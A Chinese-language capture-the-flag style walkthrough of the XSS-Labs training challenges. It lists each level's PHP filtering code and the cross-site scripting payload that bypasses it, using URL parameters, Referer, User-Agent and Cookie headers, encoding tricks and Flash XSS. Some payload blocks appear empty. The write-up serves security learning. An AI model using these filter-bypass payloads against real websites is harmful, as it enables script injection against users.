XSS-Labs
Level1
url/?name=<script>alert(1)</script>
Level2
考察符号的闭合
url/?keyword='"><script>alert(1)</script>
Level3
htmlspecialchars()
函数把预定义的字符转换为 HTML 实体。考察过滤<、>、“等的绕过。
url?keyword=' autofocus onfocus=alert(1)//
Level4
会删除掉<和>
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
和上一关类似,构造
url/?keyword=" autofocus onmouseover=alert(1)//
Level5
这关会先全部转成小写,然后替换掉<script和on。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
利用a标签的href属性执行javascript:伪协议来绕过
url/?keyword="><a href='javascript:alert(1)'>
Level6
替换多种关键字。
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
利用大写绕过。
?keyword="><Script>alert(1)</script>
Level7
先都转成小写, 再删除多种关键字。
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
利用双写来绕过
url/?keyword="><scrscriptipt>alert(1)</scrscriptipt>
Level8
与上一题相比,加入了对双引号的过滤,同时对关键字进行替换。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
考虑编码绕过。可以用如下的payload:
|
|
Level9
strpos 查找 ‘http://‘在字符串中第一次出现的位置。
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
结合上一关的思想,可以构造如下的payload:
利用注释1:javascript:alert(1)//http://
利用注释2:javascript:alert(1)/*http://*/
利用回车符%0d:javascript:%0d/http://%0dalert(1)
利用换行符%0a:javascript:%0a/http://%0aalert(1)
Level10
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
构造payload,使得input框显现,或者编辑html。
t_sort="type="text" onclick="alert(1)
Less11
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
利用bp抓包,构造
Referer:"type="text" onclick="alert(1)"
Level12
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
利用bp构造USER_AGENT
User-Agent:"type="text" onclick="alert(1)"
Level13
setcookie("user", "call me maybe?", time()+3600);
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
这次是构造cookie
Cookie:user="type="text" onclick="alert(1)";
Level14
本关因iframe调用的文件地址失效,无法进行测试。https://www.hackersb.cn/hacker/140.html
Level15
看了大佬的博客才知道,是考察angular js中的ng-include问题,ng-include 指令用于包含外部的HTML文件。包含的内容将作为指定元素的子节点。ng-include属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一域名下。
构造src='level1.php?name=<img src=x onerror=alert(1)>'
Level16
替换空格、Tab、/符号。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
可以用%0a或%0d绕过。
url/?keyword=<img%0a
src=a%0a
onerror=alert(1)>
Level17
|
|
<embed>
标签就是引入一个swf文件
到浏览器端(火狐不支持swf)
url/?arg01=1&arg02= onmouseover=alert(1)
Level18
和上一题一样
Less19
这一关涉及一种xss攻击手段叫做flash xss,学习参考https://cloud.tencent.com/developer/article/1089548。要判断是否属于flash xss,需要对引用的swf文件进行反编译然后进行源码分析,安装https://github.com/jindrapetrik/jpexs-decompiler/releases/tag/version14.4.0。
Flash产生的xss问题主要有两种方式:1、加载第三方资源;2、与javascript通信引发xss。
常见Flash xss危险函数总结
Flash提供相关的函数,可以执行js代码,getURL
(AS2中支持),navigateToURL
(AS3中支持)。
ExternalInterface.call
同样是一个Flash提供的可以执行js的接口函数, 它有两个参数,形如ExternalInterface.call("函数名","参数1")
,Flash最后执行的JS代码是try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }
。
htmlText
,Flash支持在Flash里内嵌html,支持的标签img标签,a标签等。 img标签可以通过src参数引入一个Flash文件,类似与XSF一样。
addcallback
与lso
结合,这个问题出现的点在addCallback声明的函数,在被html界面js执行之后的返回值攻击者可控,导致了xss问题。使用lso中首先会setlso,写入脏数据,然后getlso获取脏数据。
跨站Flash即XSF,通过AS加载第三方的Flash文件,如果这个第三方Flash可以被控制,就可以实现XSF。 在AS2中使用loadMove
函数等加载第三方Flash。
开始复现
参考:https://www.jianshu.com/p/4e3a517bc4ea,首先导入xsf03.swf文件,然后定位getURL函数。
追踪到sIFR的内容
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数。
|
|
所以可以通过构造<a>
标签来传值。payload如下:
url?arg01=version&arg02=<a href="javascript:alert(1)">1</a>
Level20
不会。。。先埋个坑吧。。。